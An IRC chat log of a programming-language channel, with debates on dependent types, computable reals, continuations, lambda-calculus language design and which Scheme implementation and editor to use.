00:02:42 <cpressey> alise_: You're too quick for me.
00:02:54 <alise_> cpressey: The tuple (f : Q+ -> Q, forall e1, e2 : Q+, |f e1 - f e2| < e1 + e2) is a computable real.
00:03:03 <alise_> (Which is just like the reals, except without things like chaitin's constant)
00:03:07 <oklokok> fax: nope, lyndon's aren't useful at all, i just like them.
00:03:15 <fax> oklokok, oh :p
00:03:19 <alise_> cpressey: The second element is a property of the first, a function.
00:03:22 <fax> I thought they were integral to this
00:03:34 <oklokok> ah, sorry if i gave you that impression
00:03:44 <alise_> cpressey: (Basically pi 0.1 = 3.1, pi 0.01 = 3.14, etc)
00:03:45 -!- coppro has joined.
00:04:00 <alise_> cpressey: So, substitute whatever is the best analogue for a function.
00:04:07 <alise_> How do you construct the proof?
00:04:15 <cpressey> alise_: I'm not going to be able to prove that without defining some axioms for ordering and stuff.
00:04:30 <alise_> cpressey: You don't need any axioms above the standard for this
00:04:45 <oklokok> i've basically lectured you parts of the "introduction" chapter of our combinatorics on words course, so things don't necessarily progress that linearly yet!
00:05:09 <cpressey> alise_: Basically, we have term rewriting. We say, "X rewrites into Y"! The proof is simply to list the derivation. Maybe this isn't very impressive to *you*, but remember what world *I'm* living in.
00:05:16 <oklokok> oh well actually chapters 1 and 2
00:05:25 <alise_> cpressey: So construct the computable reals.
00:05:41 <oklokok> where "lectured" == "listed theorems as exercises" ;)
00:05:43 <cpressey> alise_: No. What am I proving about them? Their existence?
00:05:43 <fax> anyway I better go to bed
00:05:49 <oklokok> me too
00:05:59 <alise_> cpressey: No.
00:06:09 <alise_> Okay, let me express this in Haskell-ish things for you.
00:06:15 <cpressey> "for all positive rationals e1 and e2, |f e1 - f e2| < e1 + e2" is closer, but requires, like, numbers and shit.
00:06:21 <cpressey> Symbolic.
00:06:36 <alise_> data Real = Real (Q+ -> Q) (forall (e1:Q+), (e2:Q+). abs (f e1 - f e2) < e1 + e2)
00:06:40 <alise_> The latter bit is the dependent part.
00:06:45 <alise_> So, to construct a computable real, we do
00:06:50 <alise_> Real f (proof of that property of f)
00:07:02 <alise_> So a Real is a function that satisfies a certain property; you must prove it does.
00:07:15 -!- fax has quit (Quit: Lost terminal).
00:07:18 <alise_> So if we have p : (forall (e1:Q+), (e2:Q+). abs (f e1 - f e2) < e1 + e2), p is a proof of that.
00:07:33 <cpressey> If A is a rational, and B is a rational, and f is a function(?), the absolute value of the difference between f(A) and f(B) is less than the sum of A and B. ?
00:07:36 <alise_> Since all your proofs are just simply proving that x evaluates to x', it's pointless.
00:07:44 <alise_> The proof is nonexistent; x equiv-to x' by virtue of evaluating to it.
00:07:47 <alise_> So the proof is that x = x.
00:07:57 <alise_> cpressey: *positive rational, not rational.
00:07:58 -!- lament has quit (Ping timeout: 264 seconds).
00:07:59 <alise_> Also, no.
00:08:05 <alise_> Sigh.
00:08:20 <alise_> It is only true for some functions. Obviously.
00:08:32 <alise_> Our constructor takes a function f, and a proof that that holds /for only the single function f that we give/.
00:08:52 <cpressey> That's a proof *schema* in my book.
00:08:52 <alise_> Any function that satisfies that property is a /computable real/, so to create a computable real we must /supply a proof that the function we give obeys the property/.
00:09:04 <alise_> So, how would you structure such a thing?
00:09:13 <alise_> I bet you can't, because your proof construct is uber-limited.
00:09:25 -!- lament has joined.
00:09:58 <cpressey> alise_: Nowhere did I say I was writing a *prover*, only a *proof checker*
00:10:12 <cpressey> What is the problem with specifying f in my proof?
00:10:13 <alise_> Irrelevant.
00:10:25 <alise_> You cannot even /express the proof/ in your language, because you can only prove things of the form x = eval x
00:10:37 <alise_> And you cannot check a proof you can't express.
00:10:51 <cpressey> If there are some values for f where it holds, and others where it doesn't, then it's not a proof!
00:11:37 <alise_> You prove it for some given function f.
00:11:46 <cpressey> Right, so give me some function f.
00:11:52 <cpressey> And I'll write the proof.
00:11:57 <cpressey> If you don't, I can't.
00:12:18 <alise_> i : Q -> R; i q = (\_. q, ...proof...)
00:12:21 <cpressey> Like I said, what you gave sounds like a proof schema to me.
00:12:24 <alise_> Really simple there.
00:12:27 <alise_> Write the proof in your language.
00:12:37 <alise_> \x. e being lambda, of course.
00:13:45 <cpressey> How am I supposed to read that?
00:14:10 <cpressey> i takes the rationals to the reals; i is some function...
00:14:24 <cpressey> ... which contains a proof...
00:14:48 <alise_> i : Q -> R -- i is a function from rationals to reals.
00:14:52 <alise_> Digression:
00:15:23 <alise_> type R = (f : Q+ -> Q, forall (e1,e2 : Q+). abs (f e1 - f e2) < e1 + e2)
00:15:24 <alise_> so
00:15:33 <alise_> i q = (\_. q, ...)
00:15:42 <alise_> \_.q is a function taking one argument, ignoring it, and returning q
00:16:00 <alise_> you must now prove that for all positive rationals e1 and e2, |(\_. q) e1 - (\_. q) e2| < e1 + e2
00:16:01 <alise_> i.e.
00:16:10 <alise_> you must now prove that for all positive rationals e1 and e2, |e1 - e2| < e1 + e2
00:16:13 <alise_> but you can't just assume that
00:16:18 <alise_> do it methodically with your proof construct
00:16:20 <alise_> (I don't believe you can)
00:17:01 <cpressey> "you must now prove that for all positive rationals e1 and e2, |e1 - e2| < e1 + e2" - that sounds at least closer to a sane request, but it still will require me defining rationals, to do it completely symbolically.
00:17:25 <cpressey> Well, no. I mean, |a - b| = a + b
00:17:31 <cpressey> I assume you meant <=
00:17:39 <cpressey> Well, no.
00:17:48 <cpressey> I mean, could = a + b
00:17:55 <cpressey> Oh wait, positive.
00:18:02 <alise_> cpressey: also, no
00:18:04 <alise_> you must now prove that for all positive rationals e1 and e2, |(\_. q) e1 - (\_. q) e2| < e1 + e2
00:18:10 <alise_> I did it wrong :D
00:18:19 <cpressey> What is q in that statement?
00:18:29 <alise_> the argument to the function i. pay attention
00:18:32 <alise_> => for all positive rationals e1 and e2, |q - q| < e1 + e2
00:18:36 <alise_> => for all positive rationals e1 and e2, |0| < e1 + e2
00:18:40 <alise_> => for all positive rationals e1 and e2, 0 < e1 + e2
00:18:51 <alise_> (prove so)
00:18:53 <alise_> => for all positive rationals e1 and e2, true
00:18:55 <alise_> => true
00:19:02 <alise_> but you must prove it /with your proof construct/
00:19:04 <pikhq> => QED
00:19:07 <alise_> that's the whole point; it's verified
00:19:46 <cpressey> OK, if a > 0, and b > 0, then a + b > 0, I can do. I *still* do not know what you are talking about with your function i. Do you want this quantified over all possible functions i?
00:20:16 * alise_ sigh
00:20:23 <alise_> You know Haskell. Correct?
00:20:32 <cpressey> Assume that I do not.
00:21:03 <cpressey> Look, actually forget it. Thanks for your feedback. If I'm making a huge error I'm sure I'll figure it out myself.
00:21:08 <cpressey> Later, folks.
00:21:10 <pikhq> Seems to be more functions of the type (i :: a -> R)
00:21:10 -!- cpressey has left (?).
00:21:49 <pikhq> No, wait, more specific, :: Q -> R. Anyways.
00:22:21 -!- alise has joined.
00:22:29 <alise> If you didn't know Haskell I couldn't explain it in a million years.
00:23:04 <Gregor> Sounds like a personal problem.
00:23:10 <pikhq> Sure you could. You could give a Haskell tutorial.
00:24:15 <alise> Gregor: Do you have any idea what dependent type theory is?
00:24:20 <alise> Haskell is utter peanuts in comparison. I have to assume some baseline.
00:24:44 -!- alise_ has quit (Ping timeout: 252 seconds).
00:25:08 <Gregor> I have no formal experience with dependent type theory, only indirect.
00:25:16 <Gregor> Erm, indirect isn't the right word.
00:25:19 <Gregor> Informal, I suppose.
00:25:21 <oklokok> i don't remember what peanuts taste like, but i'm sure i love them
00:26:33 <Gregor> What a tragic statement :P
00:27:10 <oklokok> thank you about me.
00:29:26 <Gregor> I keep looking down, not seeing a tie, and thinking "?!"
00:29:28 <Gregor> Silly bowtie.
00:30:10 -!- werdan7 has quit (Ping timeout: 624 seconds).
00:32:58 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
00:33:15 <oklokok> do you like clothes?
00:34:02 <Gregor> Clothes are for the weak.
00:34:18 <oklokok> sooooo... you don't?
00:34:37 <Oranjer> he wears a barrel
00:34:40 <Oranjer> and a bear skin
00:34:44 <oklokok> i mean you wear all sorts of different clothes, which is weird if you, like normal humans, hate wearing clothes
00:34:56 <Gregor> And a necktie.
00:35:03 -!- werdan7 has joined.
00:35:14 <Gregor> Just a barrel, a bear skin and a necktie.
00:35:15 <Gregor> That's me.
00:35:26 <Gregor> Well, on a dressier day.
00:35:32 <Gregor> I lose the barrel on average days.
00:35:43 <Oranjer> which days are the average days?
00:35:47 <oklokok> somehow i feel i'm the only one being serious
00:35:50 <Oranjer> how does one calculate that
00:35:55 <Gregor> Pretty much anything other than going to a wedding or whatnot.
00:36:06 <Oranjer> weddings are the outliers of my life!
00:36:19 <Gregor> Hence why they're not the normal days.
00:44:00 <alise> http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/real.pdf
00:44:04 <alise> The ramblings of a crazy man.
00:46:18 <Sgeo> I learned something great from Ruby: Fibers!
00:46:33 <alise> "Andrew Wiles's alleged `proof' of FLT, while a crowning human achievement, is not rigorous, since"
00:46:34 <Sgeo> I think Fibers would be very useful in the C# project I'm working on
00:46:42 <alise> "it uses continuous analysis, which is meaningless."
00:46:44 <alise> Sgeo: fibers are shit
00:47:04 <madbr> yeah looking at this pdf... it's crazy
00:47:05 <Sgeo> Howso? And is there ANYTHING that isn't?
00:50:02 -!- FireFly has quit (Quit: Leaving).
00:50:05 <madbr> Well, for instance, he's telling us stuff like "sqrt(2) doesn't exist"
00:50:13 -!- jcp has joined.
00:50:16 <alise> he is talking to me
00:50:21 <alise> Sgeo: because fibers are like continuations and coroutines but shittier
00:50:52 <madbr> ph
00:50:54 <madbr> oh
00:51:18 <Sgeo> Well, I want something that lets me resume the current .. thing later
00:51:33 <Sgeo> I'm willing to work with whatever exists the most in .NET
00:51:38 <alise> Sgeo: continuations. coroutines.
00:55:30 <Sgeo> Continuations exist in .NET?
00:55:50 <alise> no, but .net is almost useless for programming.
00:56:15 <lament> .net is the best
00:56:24 <alise> if you hate yourself.
00:56:31 <pikhq> Continuations can be done in .Net.
00:56:42 <pikhq> By which I of course mean CPS.
00:56:50 <alise> Only via... yeah.
00:56:59 <Sgeo> I understand call/cc better than CPS
00:57:31 <pikhq> Sgeo: CPS is simply the act of transforming the usage of return values to a function that takes a value.
00:57:57 <pikhq> Instead of "x = function_call(bar);", you do "function_call(bar, \x -> ...);"
00:58:14 <pikhq> And that was a delicously odd hybrid of C and Haskell syntax.
01:03:21 <Gregor> So, Chrome maps the numpad keys, with numlock on, to the keyCodes 97 etc.
01:03:31 <Gregor> 97, for the non-ASCII-inclined, is lower-case 'a'.
01:03:41 <Gregor> (The key 'A' sends a capital A, 65)
01:03:58 <Gregor> That's ... confusing.
01:05:26 <Gregor> Oh look, Firefox does it too.
01:05:27 <Gregor> Weird.
01:06:22 <alise> ?
01:06:31 <alise> grop
01:13:08 -!- alise has quit (Ping timeout: 252 seconds).
01:28:25 -!- Asztal has quit (Ping timeout: 265 seconds).
01:29:11 <madbr> weird html5 keyboard handling?
01:35:05 -!- oklokok has quit (Read error: Connection reset by peer).
01:52:40 <Gregor> Weird blaming of HTML5 for totally irrelevant things? :P
01:53:39 <madbr> ah
02:04:58 -!- adu has joined.
02:07:24 -!- Oranjer has quit (Quit: Leaving.).
03:01:01 -!- Oranjer has joined.
03:08:12 -!- OxE6 has joined.
03:20:06 -!- Oranjer has quit (Quit: Leaving.).
03:35:51 -!- Oranjer has joined.
03:42:24 <coppro> ugh, people in #latex treating me like I've never used a text editor before; much less LaTeX
03:43:37 <Oranjer> I've never used LaTeX
03:49:51 -!- myndzi\ has joined.
03:50:18 -!- myndzi\ has changed nick to myndzi.
03:53:26 <coppro> anyone know a LaTeX equivalent of OO.o Math's csub?
03:54:07 -!- coppro has quit (Remote host closed the connection).
03:57:00 -!- coppro has joined.
03:57:46 <Sgeo> <eporim> a "tnx you badass" would have been appreciated...
03:58:57 <coppro> Sgeo: firefox crashed
03:59:37 <Sgeo> Ah
04:21:16 -!- GreaseMonkey has joined.
05:12:44 -!- oerjan has joined.
05:33:31 -!- adu has quit (Read error: Connection reset by peer).
05:38:52 -!- pikhq has quit (Read error: Connection reset by peer).
05:42:36 -!- adu has joined.
05:43:45 -!- Oranjer has left (?).
05:43:57 -!- pikhq has joined.
05:44:26 -!- bsmntbombdood_ has changed nick to bsmntbombdood.
05:49:30 -!- Gracenotes has quit (Read error: Connection reset by peer).
05:57:10 <coppro> I discovered http://www.periodicvideos.com/ today :(
06:01:15 <coppro> now I'll never get to sleep
06:08:05 <coppro> the one guy looks like your stereotypical professor
06:08:07 <coppro> and he is
06:15:24 -!- coppro has quit (Read error: Connection reset by peer).
06:15:26 -!- Halph has joined.
06:15:34 -!- Halph has changed nick to coppro.
06:15:35 -!- werdan7 has quit (Ping timeout: 619 seconds).
06:16:29 -!- yetifoot has joined.
06:16:53 -!- yetifoot has left (?).
06:21:21 -!- werdan7 has joined.
06:25:44 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
06:42:17 -!- oerjan has quit (Quit: leaving).
06:48:49 -!- MizardX has quit (Ping timeout: 268 seconds).
07:02:59 -!- tombom has joined.
07:08:57 <AnMaster> <coppro> anyone know a LaTeX equivalent of OO.o Math's csub? <--- what does csub do?
07:09:11 <coppro> nevermind, found it
07:09:29 <AnMaster> coppro, but I'm genuinely interested!
07:09:32 <coppro> busy watching videos that tell me things I already know in humourous manner
07:09:43 <coppro> AnMaster: positions a subscript directly below the principal
07:09:50 <coppro> done with \underset
07:09:55 * Sgeo will attempt to learn E tomorrow
07:09:55 <AnMaster> right
07:09:58 <AnMaster> E?
07:10:10 <coppro> D done correctly :P
07:10:19 <Sgeo> http://www.erights.org/elang/
07:10:36 <Sgeo> Supposed to be secure distrubuted language thingy
07:10:56 <coppro> sure that isn't Erlang?
07:11:02 <coppro> (that you're thinking of; not the site)
07:12:01 <Sgeo> I'm pretty sure
07:13:53 <Sgeo> G'night
07:16:49 <fizzie> Morning.
07:17:09 <AnMaster> <coppro> I discovered http://www.periodicvideos.com/ today :( <--- looks interesting
07:17:24 <coppro> it is
07:18:06 <AnMaster> <Sgeo> Supposed to be secure distrubuted language thingy <coppro> sure that isn't Erlang? <-- "secure" isn't a way I would describe erlang. Not insecure either though.
07:18:24 <AnMaster> I mean, it isn't specifically geared towards security
07:18:28 <AnMaster> bbl
07:18:31 <coppro> that's true
07:18:50 <coppro> I mentioned it specifically because it's 'elang'
07:19:22 <fizzie> Bot-tweets are getting a bit suspicious: "About IRC: for sex.. assembly language reminds you at very instruction. at http://paste.lisp.org/display/UNK"
07:20:25 <coppro> sulphur is a really good video
07:20:38 -!- fungot has joined.
07:53:48 -!- tombom has quit (Quit: Leaving).
07:55:17 <coppro> you must watch iron
07:55:22 <coppro> the story is hilarious
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:13 -!- lament has quit (Ping timeout: 264 seconds).
08:07:18 -!- lament has joined.
08:21:13 -!- madbr has quit (Quit: Radiateur).
08:28:10 -!- oklokok has joined.
08:37:28 -!- Asztal has joined.
08:52:08 -!- coppro has quit (Ping timeout: 245 seconds).
09:07:33 -!- adu has quit (Quit: adu).
09:15:28 -!- GreaseMonkey has quit (Quit: HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it).
09:22:58 -!- oklokok has quit (Ping timeout: 245 seconds).
09:40:22 -!- MizardX has joined.
10:04:37 -!- Asztal has quit (Ping timeout: 260 seconds).
10:09:59 -!- amca has joined.
10:12:11 -!- oerjan has joined.
10:50:51 -!- oerjan has quit (Quit: leaving).
10:51:53 -!- amca has quit (Quit: Farewell).
12:24:08 -!- alise has joined.
12:24:33 <alise> Hypothesis: It is impossible to be comfortable.
12:26:00 <alise> 19:42:24 <coppro> ugh, people in #latex treating me like I've never used a text editor before; much less LaTeX
12:26:12 <alise> Most users of LaTeX are near computer-illiterate, I think.
12:26:19 <alise> Mostly mathy people.
12:27:03 <alise> Sgeo: E is interesting but not nearly as magical as you think.
12:27:17 <alise> And it requires a good understanding of its principles to use.
12:27:32 <Quadrescence> wow
12:27:36 <Quadrescence> thanks asshole alise
12:27:51 <alise> What?
12:28:10 <Quadrescence> I am in #LATEX
12:28:23 <Quadrescence> and too bad coppro isn't here; I could help him
12:28:24 <alise> You mean my LaTeX remark? "Most users of LaTeX are near computer-illiterate" = >50% of LaTeX users are computer-illiterate.
12:28:26 <Quadrescence> I love latekz
12:28:36 <alise> LaTeX is fine.
12:28:43 <Quadrescence> alise: thank you, you're saying there's a >50% chance I'm computer illiterate
12:29:00 <alise> Quadrescence: No, because there is a large deluge of other evidence to suggest you are not.
12:29:04 -!- ais523 has joined.
12:29:08 <Quadrescence> okay I am happy then :)))
12:29:09 <alise> For instance, anyone in #esoteric is almost certainly highly computer literate.
12:29:20 <alise> Hi ais523.
12:30:03 <ais523> hi
12:30:24 <ais523> I have a seminar in half an hour, but am happy to talk until then
12:30:40 <alise> ais523: about Feather.
12:31:00 <ais523> well, if you have questions...
12:31:07 <ais523> I haven't thought much further on it, though
12:31:12 <alise> ais523: What is Feather, in detail?
12:31:14 <alise> >:)
12:31:34 <alise> <ais523's thoughts> god dammit, you asshole!
12:31:38 <ais523> well, I'm not sure myself
12:31:41 <alise> <ais523's thoughts> We were sane for a while there!
12:32:09 <ais523> let's see... you start with a very small TC language
12:32:16 <ais523> I'm planning to use lambda calculus + continuations
12:32:30 <ais523> and a very small bootstrap program, written in that language
12:33:18 <ais523> originally, the bootstrap is just an implementation of that language; simplicity is more important here than correctness or features or anything, so long as it remains TC
12:33:29 <ais523> wait, it has to be correct
12:33:37 <ais523> but it doesn't matter if it has no error handling or something like that
12:33:57 <ais523> now, the bootstrap program has to be written in a vaguely object-oriented style
12:34:17 <ais523> it doesn't need to be actual OO or even a C++ level of OO, but it needs to have parts which are vaguely identifiable as objects
12:34:33 <alise> lambda calculus + continuations; interesting
12:34:38 <ais523> and the property, that each of those parts can be retroactively replaced
12:34:39 <alise> I'm going to implement that
12:35:18 <ais523> the easiest way to do this seems to be to make each part the return from a call/cc, or somehow otherwise have a continuation that goes back in time to when it was created and replaces it
12:35:30 <alise> ais523: are you sure you absolutely need lambda if you have continuations?
12:35:33 <alise> calculus of continuations!
12:35:52 <ais523> alise: I'm not, but it's likely to make the self-interp shorter and easier to write
12:35:59 <alise> ais523: also, LC sucks, make it combinator calculus
12:36:13 <alise> LC has syntactic stupidities like (\f x.f x) vs f
12:36:14 <ais523> and Subtle Cough was proved non-TC, so you need /something/ other than call/cc, at least
12:36:20 <alise> and (\x. x) vs (\y. y)
12:36:28 <alise> de bruijn indexes solve the latter but you still need n-conversion
12:36:43 <ais523> alise: planned Feather syntax is [ x | f x ]
12:36:48 <ais523> for \x.(f x)
12:36:53 <alise> So what?
12:37:02 <alise> semantics (\f x. f x) = semantics f
12:37:03 <alise> but
12:37:03 <ais523> alise: because if I didn't say, AnMaster would ask
12:37:08 <alise> (\f x. f x) =/= f
12:37:20 <ais523> hmm, semantics (\x. f x) = semantics f
12:37:27 <alise> semantics (\x. x) = semantics (\y. y)
12:37:29 <alise> but etc
12:37:32 <alise> De Bruijn indexes solve that one:
12:37:37 <alise> semantics (\0) = semantics (\0)
12:37:39 <alise> \0 = \0
12:37:43 <alise> but not n-conversion:
12:37:52 <ais523> the same problem happens even with combinators
12:37:58 <Quadrescence> n conversion?
12:38:01 <Quadrescence> ETA CONVERSION?
12:38:04 <alise> erm oops I wrote it wrong
12:38:12 <alise> semantics (\x. f x)
12:38:13 <ais523> and, well, in general because you can't compare functions in general in a TC language
12:38:25 <alise> ais523: you compare syntactic structure
12:38:37 <alise> anyway n-conversion + de bruijn indexes make it work
12:38:39 <ais523> well, ``skk is semantically equal to i, for instance
12:38:40 <alise> but n-conversion is ugly
12:38:46 <alise> converting (\{f} 0) to {f}
12:38:52 <alise> where {f} is f's current identifier number
12:39:09 <alise> ais523: that's irrelevant though
12:39:21 <alise> (\x. f x) is literally /the same function/ as f
12:39:24 <alise> just written a different way
12:39:30 <alise> skk is more like a different implementation of the same thing as i
12:39:47 <ais523> I'm not convinced that (\x. f x) is the same function
12:40:04 <ais523> it certainly isn't in a strict lang if determining the value of f has side effects
12:40:15 <alise> then f isn't a value :P
12:41:01 <ais523> yep; this argument only works if f is a function constant
12:41:06 <Quadrescence> this is such a weird discussion
12:41:14 <ais523> perhaps the issue here is, that constant folding on functions is a fool's errand
12:41:28 <ais523> because you end up evaluating the whole program at compile time, and if it contains an infinite loop you're in trouble
12:41:33 <ais523> Quadrescence: it's the sort of discussion we have here
12:42:23 <Quadrescence> ais523: I know
12:42:28 <Quadrescence> But this needs to be more interesting
12:42:38 <alise> ais523: let's put it this way - eta-conversion + n-reduction and then comparing syntactic structure is the kind of thing we do in our fancy functional langs :P
12:42:42 <Quadrescence> although I credit alise and him talking about de bruijn seqs
12:42:42 <ais523> anyway, anything remotely related to Feather is inherently weird
12:42:53 <alise> Quadrescence: de bruijn indexes
12:42:56 <alise> different thing
12:42:58 <ais523> alise: as an optimisation?
12:42:59 <Quadrescence> idxs, yeah
12:43:01 <Quadrescence> that's what I meant
12:43:11 <alise> ais523: no
12:43:26 <ais523> why, then?
12:43:34 <alise> hmm... the type of continuations is really strange
12:43:55 <alise> well, of callCC, specifically
12:44:14 <ais523> continuations have a relatively simple type (function from some type to bottom)
12:44:21 <alise> ((a -> X) -> a) -> a
12:44:25 <alise> where X is forall b. b
12:44:28 <ais523> call/cc, yes, that's weird
12:44:35 <alise> which is actually exists b. b
12:44:44 <alise> which is actually isomorphic to () :-)
12:44:53 <alise> but we have it as forall for convenience...
12:45:19 <ais523> alise: the isomorphism there is misleading, I think
12:45:31 <alise> it's true, though
12:45:34 <alise> type-theoretically
12:45:40 <ais523> yes, but rather vacuous
12:45:49 <alise> no, actually
12:45:59 <alise> T (except the opposite of _|_) really is the supertype of all types, theoretically
12:46:04 <alise> in practice, you implement it like data T = T
12:46:11 <alise> because they're the same thing
12:46:13 <alise> (it also represents truth)
12:46:22 <alise> (where false is the empty type, _|_)
12:46:48 <alise> App :: LC (a -> b) -> LC a -> LC b -- it annoys me that you can't do this
12:47:00 <alise> because it stops you writing `semantics :: LC a -> a`
12:47:51 <Quadrescence> top bot
12:48:11 <ais523> modal logic is weird; it has _|_, T, 0, and 1 as logic values
12:48:27 <ais523> where 0 and 1 vaguely correspond to false and true, T to both, and _|_ to neither
12:48:33 <alise> The fundamental theorem of type theory: all types are sandwiched between an act of gay sex, top to bottom.
12:48:44 <Quadrescence> alise: hahahahaha
12:48:48 <Quadrescence> that is great
12:49:08 <ais523> also, "bottom" is a stupid name for it
12:49:13 <alise> it's not
12:49:22 <alise> it's at the bottom of the type hierarchy
12:49:24 <ais523> I've seen "eet" used for the same symbol ("tee" spelt backwards), for instance
12:49:42 <ais523> alise: I know why it has that name; but it's too many syllables and looks nothing like the symbol
12:50:09 <Quadrescence> I just like to call them top and bot
12:50:13 <Quadrescence> literally "bot"
12:50:20 <Quadrescence> like bot fly :(
12:51:18 <Quadrescence> alise: Maybe I should recruit you for helping me design my language
12:51:37 <Quadrescence> since you seem more competent about type theory and stuff than I originally imagined
12:51:47 <ais523> Quadrescence: alise is an expert on that sort of stuff
12:51:51 <alise> App :: LCC (a -> b) -> LCC a -> LCC (b -> c) -> LCC c -- I wonder how to modify this type to (apart from making it possible to compile) enforce CPS-style.
12:51:54 <ais523> I tend to care more about the practice than the theory
12:52:08 <alise> Hey, I'm no expert.
12:52:09 <Quadrescence> I like practice too.
12:52:16 <Quadrescence> Practice is very, very important.
12:52:32 <alise> Hmm. I could fold App's type into Lam.
12:52:41 <alise> So we have LamApp and LamVar.
12:52:48 <alise> But then we can't have a top-level application.
12:52:54 <alise> But I can model that to applying the main function to, say, id.
12:53:35 <alise> LamApp :: LCC (a -> b) -> LCC (b -> c) -> LCC (a -> c) -- Hey, look. It's compose.
12:57:18 <alise> Yeah, this model isn't workable.
13:00:00 <ais523> oh well, time for my seminar
13:00:10 <alise> Seminyarrrrrrrr
13:07:14 <alise> Aw man, my HOAS broke cwcc
13:07:25 * Sgeo is probably going to have potato chips for breakfast
13:14:08 -!- Asztal has joined.
13:18:34 -!- augur has quit (Ping timeout: 268 seconds).
13:18:47 <alise> I now have an interpreter for the Lambda Calculus of Continuations, but no pretty-printer, so I can't test it.
13:24:18 <Gregor> So, put differently, you have nothing.
13:24:57 <alise> Well, I'm going to write a type-inferrer so that I can see the sort of results.
13:25:03 <alise> Any hey, I can make it loop forever.
13:25:26 <alise> Wait, all LC expressions have the type a = a -> a.
13:25:30 <alise> Um.
13:25:45 <alise> The AST isn't terribly conducive to pretty-printing:
13:25:50 <alise> data LCC t where
13:25:52 <alise> App :: LCC Lam -> LCC Lam -> LCC Lam -> LCC App
13:25:54 <alise> Lam :: (LCC Lam -> LCC Lam -> LCC t) -> LCC Lam
13:26:50 <Sgeo> alise, should I learn Common Lisp or Scheme [I think I may have asked you this before]. Although Scheme seems attractive, there's pretty much no large standard library
13:27:02 <Sgeo> Don't know if CL has one, but from what I gathered..
13:28:07 <alise> I'm not even going to answer because you seem to value a language based on how many BSD socket libraries it has, and this is poisonous.
13:28:43 <alise> Scheme (R5RS, not R6RS) is clearly the superior language. Common Lisp doesn't have standard sockets either. It does have Roman Numeral support, though.
13:29:20 <Sgeo> ...who said anything about sockets?
13:30:23 <alise> The prototypical example of a "practical" "standard" "library">
13:30:23 <alise> *.
13:32:39 <alise> Quadrescence: So, uh, tell me about your language.
13:34:30 <Sgeo> alise, Quadrescence and Gregor seem to hate PLT Scheme, I'm still not sure why. Do you have any comments on PLT Scheme?
13:34:43 <Quadrescence> It is a language that is intended to be practical for general programming, but will be particularly designed for building a computer algebra system with it. I want it strictly statically typed, however, if a certain type can't be proven/shown, that should NOT error, but be left for run-time resolution
13:34:50 <alise> PLT Scheme [...] is rubbish.
13:35:06 <alise> Use SISC, or Scheme48, or Chicken, or ...
13:35:24 <alise> Quadrescence: Computer algebra system: You want a term rewriting language. (Trust me.)
13:35:40 <alise> A typed one is an endeavour I've looked into before, and one that is very interesting.
13:35:47 <Quadrescence> alise: Yes definitely
13:35:57 <Quadrescence> I've read my fair share of TRS junk
13:36:04 <alise> Quadrescence: But as for the untyped-leave-to-runtime... Why not just have a more powerful type system?
13:36:39 <Sgeo> In what way is PLT rubbish?
13:36:52 -!- ztirf4 has joined.
13:37:17 <alise> Sgeo: To understand the reasons why you'd have to understand Scheme.
13:37:17 <alise> Catch-22.
13:37:22 <alise> Trust ze sexperts.
13:37:40 <Quadrescence> Every single implemented dependent type system is annoying as ! to use, at least in my opinion. I don't want the programmer to fight with the compiler; I want him/her to work with it. This is NOT to say the type system can't be powerful! I am just saying things should be optional in a sense.
13:38:03 <Sgeo> alise, how well do I have to understand Scheme? I think I understand the basics at this point
13:38:14 <alise> Quadrescence: Well, I agree that most dependently-typed languages aren't too nice to use.
13:38:17 <alise> Sgeo: almost entirely.
13:38:26 <Quadrescence> Sgeo: Knowing some functions and stuff won't make you "know" scheme
13:38:30 <alise> Quadrescence: But, I mean, my main project is to make dependently-typed languages nice.
13:38:33 <Quadrescence> You really have to "see the light" to know scheme
13:38:37 <alise> Quadrescence: So you must understand that I'll push for that. :-)
13:38:51 <Quadrescence> alise: Of course. I *want* dependent types.
13:38:56 <alise> Also, even something like Haskell's type system can be extended a little bit to make it lenient for anything you'd want.
13:38:58 <Sgeo> So, what Scheme is most recommended for newbies?
13:39:09 <alise> Quadrescence: Right. My opinion is that you can make them nice /and/ mandatory.
13:39:25 <alise> Sgeo: Well, not SISC, too barebones... Scheme48 or Chicken. Chicken has more librarooz.
13:39:28 <Quadrescence> alise: That might be possible, and if so, I'd probably enforce that
13:39:49 <Quadrescence> alise: You might agree that less libraries = better for a new schemer
13:39:56 <alise> Quadrescence: But dependent types for term rewriting is in fact a project I had! (I gave up on it because it was really hard >_>)
13:40:11 <alise> Quadrescence: Yes, but Sgeo's obsessed with libraries. And really most eggs are fine.
13:40:15 <alise> Besides, SISC is Java. :-P
13:40:22 <Quadrescence> Nothing is wrong with libraries
13:40:29 <Quadrescence> but I think the "point" of Scheme will be missed
13:40:34 <alise> True.
13:40:42 <Quadrescence> Just at the start.
13:40:49 <Sgeo> Is "SRFI" what is meant by libraries?
13:40:53 <Quadrescence> I'd use Scheme48 or so
13:40:59 <Quadrescence> Sgeo: They are "standard" libraries
13:41:07 <alise> Quadrescence: The problems with typing a term rewriting language are basically: One, identifying what you're typing (There's no nameable function, since we simply put little holes of free variables into an expression and rewrite it), and two, dealing with the extensibility (you can add to a "function" at any time just by creating a rule).
13:41:22 <alise> I think I know how to solve the second one (with an entirely new type system). The first may just be a syntactic fluff.
13:41:25 <alise> *a bit of
13:41:35 <alise> Quadrescence: Oh, I forgot S48.
13:41:38 <alise> Sgeo: Use Scheme48.
13:42:12 <Sgeo> The Windows distribution is "experimental"
13:42:15 <Quadrescence> alise: Right. My rule was going to be this: you can't create a new function/constructor unless it can be typed
13:42:39 <Quadrescence> Sgeo: Oh, you're on windows, no wonder why you are attached to dr scheme
13:42:44 <alise> Sgeo: Oh.
13:42:46 <alise> Windows.
13:42:50 <Sgeo> Is Notepad++ any good with Scheme?
13:42:57 <alise> Emacs. Only.
13:42:59 <Quadrescence> emacs is good for scheme
13:42:59 <alise> Or Edwin, even, lol.
13:42:59 <Quadrescence> ;)
13:43:05 <alise> with Quack, I suggest.
13:43:10 <alise> Anything else will fail. Horribly. Do not even bother.
13:43:15 <Quadrescence> Sgeo: Bla just use dr scheme
13:43:24 <alise> Set to R5RS at least
13:43:26 <Quadrescence> Since you're on windows, there's little you can really do
13:43:29 <alise> Think of the /children/
13:43:32 <Quadrescence> and yes, set it to R5RS
13:43:47 <Sgeo> Notepad++ seems to have Scheme support
